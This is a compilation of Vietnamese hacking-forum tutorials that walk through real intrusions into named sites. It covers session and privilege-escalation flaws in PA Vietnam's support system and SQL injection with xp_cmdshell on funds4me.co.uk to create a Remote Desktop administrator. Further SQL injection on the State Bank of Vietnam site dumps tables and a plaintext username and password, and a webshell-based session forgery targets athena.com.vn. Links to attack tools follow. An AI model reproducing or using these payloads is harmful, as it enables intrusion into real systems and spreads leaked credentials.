Dạo qua trang www.vnn.vn xem một vài tin tức chơi -> -> hvanews.net -> và cuối cùng là vào hvaonline.net , sau khi xem một vài bài viết mới , đột nhiên nguoihung thấy cái topic Hack PAVIETNAM mà mình đã post cách đây vài hôm . Tự nhiên lại thấy ngứa ngáy với cái SUPPORT của PA quá -> ( máu hack hiết nỗi lên rồi ! )

-> http://support.pavietnam.net -> Enter -> Một cái bảng đăng nhập quen thuộc lại hiện ra

Nhập user và pass và login vào -> hi hi ! -> cái mã khách hang của minh lại hiên ra to tứơng -> nhớ lại hôm trước đã báo lỗi cho PA và họ đã fix -> hu hu hu -> vậy thì còn lỗi đâu mà hack với hiết nữa -> đành bó tay vậy -> thôi thì ta dọc nó chơi cho đỡ chán cũng được !

Dọc xong để đó một hồi lâu -> mở cửa sổ IE khác duyệt web xem tin tức tiếp -> chặp sau quay qua cửa sổ support cua PA ! -> oái nó bắt mình đăng nhập lại kìa !

Cháng quá ! ừ thôi thì đăng nhập lại -> nhưng lại bực mình quá ! -> moi cái thằng login này ra xem cái đã ( login.php ) !

-> ngay tại cửa sổ IE đã đăng nhập vào hể thống support nguoihung gõ : " http://support.pavietnam.net/login.php " -> enter một phát coi -> oái oái , sao lại thế này -> nó không hiên ra cái bảng đăng nhập nữa mà lại chạy thẳng vào " trang chủ " của SUPPORT luôn !

Bực thật ! -> đành mở cửa sổ IE khác thử xem ! -> hi hi hi bây giờ thì cái bảng đăng nhập nó mới chiệu hiên ra ! -> nhưng bây giờ làm gì nữa đây -> không biêt làm gì hêt ngoài chuyện ngồi suy luận -> -> suy nghĩ một tý !

Quay lại các bước mình đã đi qua và giải thích thử xem có gì đáng chú ý không ->

Đầu tiên thì ta đăng nhập vào hệ thông ( không có gì đáng chú ý cả )

-> tiếp theo để một hồi lâu thì nó bắt mình đăng nhập lại ( session đã hết thời gian và không có sử dụng cookie )

-> tiếp theo ta nhập lại và chay link tới file " login.php " ngay trên cửa sổ IE đã đăng nhập thì nó lại chạy thẳng vào trang chủ ( chổ này hình như có vấn đề ! ) -> nhưng mà vấn đề gì vậy ? -> không biết nữa để suy luận cái đả

Thứ nhất : sở dĩ chúng ta bị quay lai trang chủ luôn là do một biến session nào đó được tạo khi ta đã login và file login.php phải có một đoạn là " nếu nhận được giá trị này thì quay về trang chủ " -> nhưng như vậy thì chẳng có gì hết !

he he he ! đừng xem thường chổ này ! -> cái đáng chú ý là cái biến session này phải có dạng tổng quát , tức là nó phải làm sao khi không chỉ riêng một tài khoản mà tất cả các tài khoản khác khi làm như nguoihung thì cũng phải bị quay về trang chủ . Vậy thì mình sẽ hình dung cái biến session đó có dạng đại khái như :


Code:
session_register("login");
 $login="true";



-> vậy thì ở đây mình được gì ?

-> có chứ ! mình được cấp session như bao khách hàng hàng (đặt biệt là ADMIN )

Tới đây chúng ta đã đi được hình như là nữa chặng đường rồi đó -> hãy suy luận thêm một tý nữa đi !

Nhớ lại lúc ta login -> thấy xuất hiện cái mã khách hàng to tướng ở trang chủ -> khà khà -> vậy thì cần phải có thêm một biến session nữa đây -> có lẽ nó sẽ như vầy :



CODE
session_register("makhachhang");
$makhachhang="mã khách hàng ta nhập vào lúc đăng nhập";



-> Ha ha ha -> cuối cùng thì vấn đề là chổ này đây -> bây giờ ta có một dự đoán -> nếu thằng " login.php " này kiễm tra quá đăng nhập yếu kém thì ta có thể tậng dụng được sơ hở này để thay đổi cái session "ma khach hàng trên "

Khà khà ! còn đợi gì nữa ! bây giờ ta phải thử thôi !

Tạo môt file login.html có nội dung như sau :


Code:
<form name="login_form" method="post" action="http://support.pavietnam.net/check.php?action=login">
   <table border="0" align="center">
    <tr>
      <td class="color_2">&nbsp;</td>
      <td class="color_2"><strong>DANG NHAP </strong></td>
                  </tr>
    <tr>
      <td>Ma khach hang </td>
      <td>          <div align="center">
        <input name="username" type="text"  size="20" tabindex="1">        
         </div>          <div align="center">              </div></td>
    </tr>
    <tr>
      <td></td>
      <td>
      </td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td>          <input name="Submit" type="submit" class="submitbutton" value="Dang nhap">           </td>
    </tr>
      </table>
</form>



Lưu file login.html vào PC của ta

Sau đó đăng nhập vào SUPPORT của PA -> gọi file login.html ngay trên cửa sổ trinh duyệt mà ta mới vừa đăng nhập !

Oái oái cái file login lúc nãy ta tạo không có ô nhập pass vậy trời -> thôi thì nhập user không vậy ,vi dụ : pa-2503

-> Enter thử xem ! -> oái nó báo " Mật khẩu không đúng " -> làm sao bây giờ -> cứ nhấn OK ->

Sau khi nhấn OK , nhìn lại thấy nó đưa ta trở về trang "index.php" (trang chủ) -> Khà khà -> nhưng lần này không như lần trước -> Mã khách hàng hiện lên là : " pa-2503 " và tất nhiên là những domain và hosting của khách hàng này củng hiện ra luôn -> Bây giờ làm gì nữa đây -> hi hi hi khó quá .....

Phần kết :

- Mức độ lỗi cực kỳ nguy hiễm !
- Các bạn đọc xong nhớ báo cho PA dum mình nha , đừng có phá họ làm gì

Nếu ai có hứng thú muốn xem tiếp thì hãy đợi : "Hack PAVIETNAM phần III "

=================================================

Chào các bạn ! Hôm nay chúng ta sẽ tiếp tục đi vào nghiên cứu về hệ thống SUPPORT của PA VietNam !

Trước khi vào vấn đề các bạn hãy tham khảo qua:

Hack PA VIETNAM phần I và Hack PA VIETNAM phần II


Nào chúng ta cùng đi vào vấng đề !

Sau bài viết Hack PA phần II mình có hứa với các bạn về bài viết phần III -> chính vì lời hứa này làm phải chạy đôn chạy đáo -> kiếm cho được cái lỗi để viết tiếp phần III -> khổ quá !

Lần trước báo cho PA 2 bug nguy hiểm , nên họ đã cẩn thận hơn rất nhiều ! -> trùi ui làm sao bây giờ

-> tìm bug mà chẳng có source để nghiên cứu thì làm sao mà tìm bây giờ !

Định bụng chạy lên công ty của PA xin luôn cái Source về nghiên cứu cho dễ -> nhưng nghĩ lại làm biến quá ! -> thôi thì bật PC lên nghiên cứu thôi !

http://support.pavietnam.net -> Enter 1 phát -> đăng nhập vào hệ thống Support của PA

Lướt qua rồi lướt lại chẳng thấy cái gì đáng chủ ý cả -> buồn ghê gớm !

Chẳng biết làm gì nữa -> he he -> buồn wá quay qua lục lại những bài viết về Hack PA của mình đọc lại chơi -> xem thử có khuyết điểm nào không

Xem đi rồi xem lại thấy những bài viết của mình cũng tạm tạm -> nhưng chưa tìm được khuyết điểm trong bài viết của mình thì lại thấy khuyết điểm của PA VietNam trước rùi ! -> thú vị nữa đây !

Nếu đã đọc qua bài viết phần I -> bạn nào tò mò thì khi nhìn vào cái hình minh hoạ sẽ thắc mắc ngay (xem hình cái đã !) :

user posted image

Các bạn đã xem lại hình rùi đó ! -> như vậy có gì đâu mà théc méc ta !

-> Khà khà có đấy -> ta hãy nhìn kỹ lại và để ý đến cái dòng cuối cùng -> có dòng chử " thuộc nhóm " -> trùi ui cái đây để làm vậy ta
-> chắc nó muốn phân biệt giữa khách hàng và ai đó !

-> nhưng mà ở đây là khách của PA thì còn ai nữa đây -> không ai cả , ngoại trừ lão mà trả lời câu hỏi của khách hàng trong support !

-> Và lão này tất nhiên là có quyền nhiều hơn là khách hàng bởi lão xem được tất các yêu cầu của khách hàng mà -> vậy lão là ADMIN rùi -> hi hi

-> Như vậy là chúng ta đã giải đáp được théc méc rùi đó -> bây giờ làm nữa đây !

-> Chả biết làm gì hết -> ngoài chuyện ngồi ngẫm nghĩ !

Bây giờ ta view source lên xem lại ! -> khà khà

Các bạn hãy tìm đến ô check box của dòng chử " Thuộc nhóm "

Chính là cái thẻ này đây :

<input name='mgroup' value='1' type='radio' CHECKED>

Chúng ta hãy suy luận thêm một tý :

"mgroup" có giá trị là "1" thì sẽ là khách hàng -> vậy "mgroup" có giá trị bao nhiêu thì sẽ là ADMIN

-> giá trị này có lẽ sẽ gần con số "1" , chứ chẳng lẽ ...

-> Vậy có thể bằng "-1" , "0" , hoặc "2" ,hoặc "3"

-> trùi ui -> bây giờ phải thử cái đã !

Tạo một file test.html có nội dung như sau:
CODE
<form action="http://support.pavietnam.net/post.php" method="post">
<input name='mgroup' value=''>
<input name="upid" value='Mã khách hàng của ta' type="hidden">
<input name="pro" type="submit" class="submitbutton" value="&nbsp;Thay đổi&nbsp;">
</FORM>


Lưu lại và chạy nó lên bằng trình duyệt mà ta đã login -> sau đó ta bắt đầu nhập giá trị mà ta đã suy luận ở trên -> trui ui mệt wá

-> Nhập con sô đầu tiên "-1" -> submit -> xong nó mất luôn cái chử khách hàng -> chẳng sao cả -> ta log out và login lại là được

-> Sau 3 lần test -> vẫn không có gì hết -> giờ đến lần thứ tư giá trị là con số "3" -> Submit thử coi -> khà khà khà

Sau khi logout và login lại -> điều thú vị đã xãy ra -> nhìn lại thấy ta đang thuộc nhóm Administrator -> Tức có quyền cao nhất !

Phần kết :

" Đừng bao giờ bỏ qua nhưng chi tiết dù có là nhỏ nhoi -> đôi khi nó lại có ích cho ta "

-> mức độ lỗi rất nguy hiễm
-> PA VietNam đã fix

"Nếu các bạn có nhã hứng hãy đoán xem hack PA VietNam phần IV"

-------- KeHieuHoc - HCEGROUP ---------

Remote desktop via user "sa"-sql injection ! 05-20-2007, 04:47 PM

Thấy nhiều người hỏi cái này, mạn phép làm cái live show luôn ha
Link bug:

Code:
http://www.funds4me.co.uk/stores.asp?catID=43'
+Check user:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43'%20and%201=convert(int,system_user)--sp_password
Dính SA goài:68:
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'sa' to a column of data type int.
+Check ip srv:
Đầu tiên đổ kết quả của lệnh ipconfig vào table keke:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';drop%20table%20keke%20create%20table%20keke%20(id%20int%20identity,nd%20varchar(1000))%20insert%20into%20keke(nd)%20exec%20master..xp_cmdshell%20'ipconfig'--sp_password
Sau đó convert ra xem kq thoai:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43'%20and%201=convert(int,(select%20top%201%20nd%20from%20keke%20where%20nd%20like%20('%25Ip%20address%25')))--sp_password
Ra ip thật nè:
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 212.69.230.65 ' to a column of data type int.
+Add user và nâng quyền rồi tìm cách remote desktop vào:
Ở đây tôi chọn giải pháp active acc guest và nâng guest lên admin cho đỡ bị lộ

Active guest acc:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net user guest /active:yes';--sp_password
Set lại pass cho guest
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net user guest xxxxxx';--sp_password
Add guest vào admin group:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net localgroup administrators guest /add';--sp_password
Chắc nữa là add guest vào Remote Desktop group:

Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" guest /add';--sp_password
Dùng Remote Desktop vào srv 212.69.230.65 với acc guest/xxxxxx thôi
(pass đã change, ai thik thì tự tạo lại)

P/S:cái này mà tạo Virtual Private Srv fake ip rất good, hoặc để crack md5 pass hash
Thân!

Ngân hàng nhà nước Việt Nam bị hack như thế nào ?? 07-19-2006, 05:33 PM

Hacked by langtuhaohoa ( thx my friend WinDak )

hề hề ! Tại nghe đâu phong phanh là " Ngân Hàng Nhà Nước Việt Nam ( www.sbv.gov.vn )" bị dính Sql inject ... thấy chữ ngân hàng cũng tính mò dô xem xem thế nào  lượng đi lượn lại vài dòng thấy chã có url nào khai thác được cả ... ! híc ! Thấy nãn nãn... !

Đang xem thì thấy mấy cái input dạng select .... nhìn nhìn hồi nghĩ thôi thữ đại xem sao  biết đâu được
Chọn đại cái : http://www.sbv.gov.vn/home/hethongTCTDHT.asp

thấy cái select Tỉnh/Thành Phố ... thữ xem sao ! View source thấy 1 form như thế này :

Code:
<form name="Tim" method="post" action="hethongTCTDHT.asp" autocomplete="on"> 

<p align="right">Tỉnh / Thành phố:
 
        <select size="1" name="lstTinh" style="font-family: Times New Roman; background-color:#FFFFFF; font-size:12pt" onchange="document.Tim.submit()">
        <option value="ALL">Tất cả các tỉnh thành</option>
        
        <option value="DANANG">Đà Nẵng</option>
         
        <option value="DACLAC">Đắc Lắc</option>
         
        <option value="DACNONG">Đắc Nông</option>
         
        <option value="DONGNAI">Đồng Nai</option>

         
        <option value="DONGTHAP">Đồng Tháp</option>
         
        <option value="ANGIANG">An Giang</option>
         
        <option value="BARIAVUNGTAU">Bà Rịa-Vũng Tàu</option>
         
        <option value="BINHDINH">Bình Định</option>
         
        <option value="BINHDUONG">Bình Dương</option>
         
        <option value="BINHPHUOC">Bình Phước</option>

         
        <option value="BINHTHUAN">Bình Thuận</option>
         
        <option value="BACLIEU">Bạc Liêu</option>
         
        <option value="BACCAN">Bắc Cạn</option>
         
        <option value="BACGIANG">Bắc Giang</option>
         
        <option value="BACNINH">Bắc Ninh</option>
         
        <option value="BENTRE">Bến Tre</option>

         
        <option value="CAMAU">Cà Mau</option>
         
        <option value="CAOBANG">Cao Bằng</option>
         
        <option value="GIALAI">Gia Lai</option>
         
        <option value="HAGIANG">Hà Giang</option>
         
        <option value="HANOI">Hà Nội</option>
         
        <option value="HANAM">Hà Nam</option>

         
        <option value="HATAY">Hà Tây</option>
         
        <option value="HATINH">Hà Tĩnh</option>
         
        <option value="HAIDUONG">Hải Dương</option>
         
        <option value="HAIPHONG">Hải Phòng</option>
         
        <option value="HAUGIANG">Hậu Giang</option>
         
        <option value="HUNGYEN">Hưng Yên</option>

         
        <option value="HOABINH">Hoà Bình</option>
         
        <option value="KHANHHOA">Khánh Hoà</option>
         
        <option value="KIENGIANG">Kiên Giang</option>
         
        <option value="KONTUM">Kon Tum</option>
         
        <option value="LAOCAI">Lào Cai</option>
         
        <option value="LAMDONG">Lâm Đồng</option>

         
        <option value="LANGSON">Lạng Sơn</option>
         
        <option value="LAICHAU">Lai Châu</option>
         
        <option value="LONGAN">Long An</option>
         
        <option value="NAMDINH">Nam Định</option>
         
        <option value="NGHEAN">Nghệ An</option>
         
        <option value="NINHBINH">Ninh Bình</option>

         
        <option value="NINHTHUAN">Ninh Thuận</option>
         
        <option value="PHUTHO">Phú Thọ</option>
         
        <option value="PHUYEN">Phú Yên</option>
         
        <option value="QUANGBINH">Quảng Bình</option>
         
        <option value="QUANGNAM">Quảng Nam</option>
         
        <option value="QUANGNGAI">Quảng Ngãi</option>

         
        <option value="QUANGNINH">Quảng Ninh</option>
         
        <option value="QUANGTRI">Quảng Trị</option>
         
        <option value="SOCTRANG">Sóc Trăng</option>
         
        <option value="SONLA">Sơn La</option>
         
        <option value="TAYNINH">Tây Ninh</option>
         
        <option value="THAIBINH">Thái Bình</option>

         
        <option value="THAINGUYEN">Thái Nguyên</option>
         
        <option value="THUATHIENHUE">Thừa Thiên Huế</option>
         
        <option value="THANHHOA">Thanh Hoá</option>
         
        <option value="TIENGIANG">Tiền Giang</option>
         
        <option value="TPHCM">TP Hồ Chí Minh</option>
         
        <option value="TPHUE">TP Huế</option>

         
        <option value="TRAVINH">Trà Vinh</option>
         
         <option selected value="TW">Trung Ương</option>
         
        <option value="TUYENQUANG">Tuyên Quang</option>
         
        <option value="VINHLONG">Vĩnh Long</option>
         
        <option value="VINHPHUC">Vĩnh Phúc</option>
         
        <option value="YENBAI">Yên Bái</option>

          </select></p>
         </form>
oài ! thấy có cả daklak trong đó  ( quê nhà mà hê hê ) thôi thì thữ coppy về và edit 1 xí xem sao :

Code:
<form name="Tim" method="post" action="http://www.sbv.gov.vn/home/hethongTCTDHT.asp" autocomplete="on"> 
 
        <input type="text" size="100" name="lstTinh">
         <input name="submit" type="submit" value="submit">
         </form>
langtu save lại thành file test.html và mở ra type dô cái input vài dòng thữ xem sao :
Code:
' or 1=(@@version)--
và submit ... óe nó hiện ra cái gì đây :eek: :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
hề hề ! Sql inject cực nặng rồi nhé ... ! back lại test.html lt type vào :

Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+table_name+'/' from information_schema.tables select @temp as id into langtu end--
Đoạn query trên có nghĩa là gì ?? declare @temp varchar(8000) là khai báo cho @temp rỗng và varchar(8000) ( cái này giống như kiểu khai báo biến trong các ngôn ngữ lập trình khác í mà ) tiếp theo là : set @temp='' select @temp=@temp+table_name+'/' from information_schema.tables cái này là đặt điều kiện cho @temp seclect ra table và tiếp tục cộng thêm 1 table tiếp theo ngăn cách bằng " / " ! select @temp as id into langtu end-- chọn @temp ờ cột id và trong table langtu ! Chắc phần nào hiểu rồi chứ  hí hí !

Ok ! sau khi submit query trên ta sẽ được trả về http://www.sbv.gov.vn/home/hethongTCTDHT.asp và ko bị báo lỗi gì cả thì ta đã thành công !

Tiếp theo langtu sẽ select ra tất cả các table trong user data "dthai" mà sbv đang sữ dụng :
Code:
' or 1=(select id from langtu)--

Tự nhiên đang viết tut có hứng tới đây nó ra mẹ user + pass  khó hiểu quá ! Quyết tìm hiểu xem vì sao lại thế chứ...


Trích:
' or 1=(select id from langtu)--
ặc ặc ! Bây giờ thì mới đúng nè ... híc !
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/cdeCSTT_LS/cdeCSTT_tbao_TPCP/cdeCSTT_tbao_TPKB/cdeKTTT/cdeQLNH_dienbienTG/CdeTCCB/cdeTTKS/DetaiNCKH/dtproperties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaobaochi/TinhThanh/Tintuc/tuyentruyen/Tygiabinhquan/Tygi...

/home/hethongTCTDHT.asp, line 172
Tuy đã biết user + pass nhưng mình vẫn sẽ viết tiếp cho đúng cách làm việc của nó !
Bây giờ bạn hãy thữ nhìn lên cái error list ra các table coi ??? nó hiện ra ko đầy đủ đúng ko ?? cái :" Tygiabinhquan/Tygi... " có nghĩa là table nó dài quá ko list hết ra được !
hùhm,... giờ sao cho nó list hết ra nhĩ ??? OK langtu dùng substring

Trích:
' or 1=(select top 1 substring(id,1,100) from langtu)--
được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/cd' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
nó sẽ list ra 100 kí tự đầu tiên từ 1---> 100 :cool: Nhưng ta vấn chưa thấy table chứa user đâu cả  tiếp tục :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'eCSTT_LS/cdeCSTT_tbao_TPCP/cdeCSTT_tbao_TPKB/cdeKTTT/cdeQLNH_dienbienTG/CdeTCCB/cdeTTKS/DetaiNCKH/dtproperties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaob' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
óe ! vấn chưa thấy tiếp tục :
Trích:
' or 1=(select top 1 substring(id,201,300) from langtu)--
Được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'properties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaobaochi/TinhThanh/Tintuc/tuyentruyen/Tygiabinhquan/Tygiacheo/TygiaVCB/Vanban/webgrand/webgroup/webuser/CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/c' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
hè hè ! ta thấy table webuser rồi !

Bây giờ thì ta drop table langtu đi thôi : '; drop table langtu--

OK thành công ! Để lấy tất cả column trong table webuser ta lại tiếp tục insert 1 column @temp vào table webuser giống hồi nãy dậy ta ! type :

Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+column_name+'/' from information_schema.columns where table_name='webuser' select @temp as id into langtu end--
ko báo lỗi , tiếp tục : ' or 1=(select 1 from langtu)--

được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'uid/username/password/description/gid/grand/QL/uid/username/password/description/gid/grand/QL/' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
drop table langtu đi và tiếp tục :
Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+username+':'+password+'/' from webuser select @temp as id into langtu end--
ko báo lỗi , giờ ta tiếp tục lấy user + pass : ' or 1=(select id from langtu)--

được :

Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'levietcuong :lvc123 /' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
Bye bye good luck to hack !
Author : langtuhaohoa ( HCEGroup.net )

longnhi hack Athena.com.vn như thế nào ? 07-14-2006, 01:22 PM



Tóm tắt quá trình hack athena.com.vn
(Local attack)

Bỏ qua mấy giai đoạn lặt vặt bây giờ làm việc với trường hợp đã có sẵn con webshell //http://12a6dh.info/forum/cache/skin_cache/cacheid_2/skin_public.php

Chạy con backdoor trên kết nối vào mysql của 12a6 sau đó tiến hành lấy sources của athena. Trong trường hợp này xác định link của trang quản trị là /admin nên chỉ chú trọng vào việc lấy code của các file liên quan đến cái này thui (khi nào có con backdoor trên host của nó rùi lấy tiếp). Lấy code bằng mấy câu query sau:

CREATE TABLE test(text LONGTEXT);

load data local infile 'path/file' into table test FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\'' LINES TERMINATED BY '\n';

Có code rùi thì ngồi đọc nó, trước hết là thằng index.php

session_start(); // quản lý bằng session chứ ko phải bằng cookie, có nghĩa là khi ta vào link admin nó sẽ tạo cho ta một phiên làm việc, phiên làm việc này sẽ được server tạo ra và lưu vào file sess_...... (VD: sess_2d193503319fefd5a48b208d48b69d36) nằm trên server, mặc định của phiên làm việc này là ko hợp lệ nhưng nếu ta đăng nhập thành công thì server sẽ chỉnh sửa file sess_ kia thành hợp lệ (hack được athena phải cảm ơn thằng này nhiều ). Tiếp tục nào case 'login' : include "_login.php"; break; thằng index sơ sơ như vậy là được rùi bây giờ chuyển sang thằng _login.php

if (isset($_POST['txtUsername'])) $admin_user=$_POST['txtUsername']; else $admin_user='';
if (isset($_POST['txtPassword'])) $admin_pass=$_POST['txtPassword']; else $admin_pass='';
if (isset($_POST['txtPassSec'])) $admin_sec=$_POST['txtPassSec']; else $admin_sec='';

hô hô user, pass1, pass2.

$admin_sec = md5(base64_encode($admin_sec));

if ($admin_sec == "53f8797e875fb1b667c86e4ae15cee24") {
if ( (!empty($admin_user)) && (!empty($admin_pass)) )
{
$admin_pass = md5($admin_pass);
$query = "select * from admin WHERE username='$admin_user' AND password='$admin_pass'";

ặc ặc cái pass2 của nó vừa base64_encode vừa md5, nó mà đặt pass dài xíu là ngồi decode đù người luôn mà chưa chắc gì có kết quả, còn cái pass1 cũng bị md5 luôn.

Có 2 cách giải quyết được đặt ra, thứ nhất là dò 2 cái pass của nó, thứ 2 là fake cookie. Cách thứ nhất ko chơi, ngu gì mà ngồi dò pass trong khi cách thứ 2 có vẻ dễ ăn hơn và khả năng thành công cũng cao hơn. Hồi nãy coi file index thấy nó quản lý phiên làm việc bằng session coi bộ ngon ăn. Vậy là quyết định chọn cách 2.

Có 2 hướng giải quyết cho cách 2:
+ Thứ nhất là khi ta mở trang index.php ra nó sẽ tạo cho ta một session trên server, công việc của ta là tìm cách edit cái phiên làm việc sao cho nó trở thành hợp lệ. Coi cái phpinfo() của nó xem nào session.save_path=/tmp. Ok rùi mở cái thư mục /tmp coi thử có gì trong đó. Ặc ặc …. bị access denied rùi coi bộ hướng đi này ko ổn, chuyển hướng đi thui.
+ Thứ hai nếu ta edit cái file session ko được thì tại sao ta ko tạo ra một cái file session mới hợp lệ với cái source đã có kia rùi fake cookie của web browser với cái session mới đó. Vậy là đã xác định được chính xác hướng đi và những cái cần phải làm, công việc tiếp theo là up sources của athena lên host 12a6, edit lại cái pass2 trong file _login.php, edit cái pass1 trong db của nó, xong rùi login nào … vừng ơi mở ra…. bùm vào được admin control panel rùi (cái này là đồ giả nằm trên host của 12a6) vào phần quản lý cookie của web browsers (opera) coi thử cái session của nó là gì nào, copy nó lại bây giờ chuyển qua thằng athena fake bằng cái session đó, refresh lại nào …. bùm …. he he heeeeee vào được admin control panel của athena rùi (hàng thật chất lượng cao ), tìm chỗ up con shell…..


GAME OVER

Author: longnhi

Local decode zend

[+] video chiến site decode zend
http://www.mediafire.com/?ifjjub4cos8384a

Kho video

[+]  2 Kho video từ cổ chí kim

http://www.mediafire.com/mafia

http://www.mediafire.com/?pm55krbicizbc 

video local server 112.213.89.35 by vinakid

[+] video local server 112.213.89.35 by vinakid

http://www.mediafire.com/?l9508poihpfuqm4

Havij 1.12 Pro

Tools này khai thác SQL injection tốt nhất,và theo mình bản này chạy ỗn định nhất

http://www.mediafire.com/?8ia5l33g4mwdeyj

Hack vbb sqlinject Tut by hochoi

Không vào được bằng nick hochoi nữa phải reg nick này vào post. Mong anh em thông cảm
Link đây : http://www.mediafire.com/?guasmzrt26etlgh

Thấy hay thì thanks cho em với nhé
 Exploit : http://www.exploit-db.com/exploits/16934/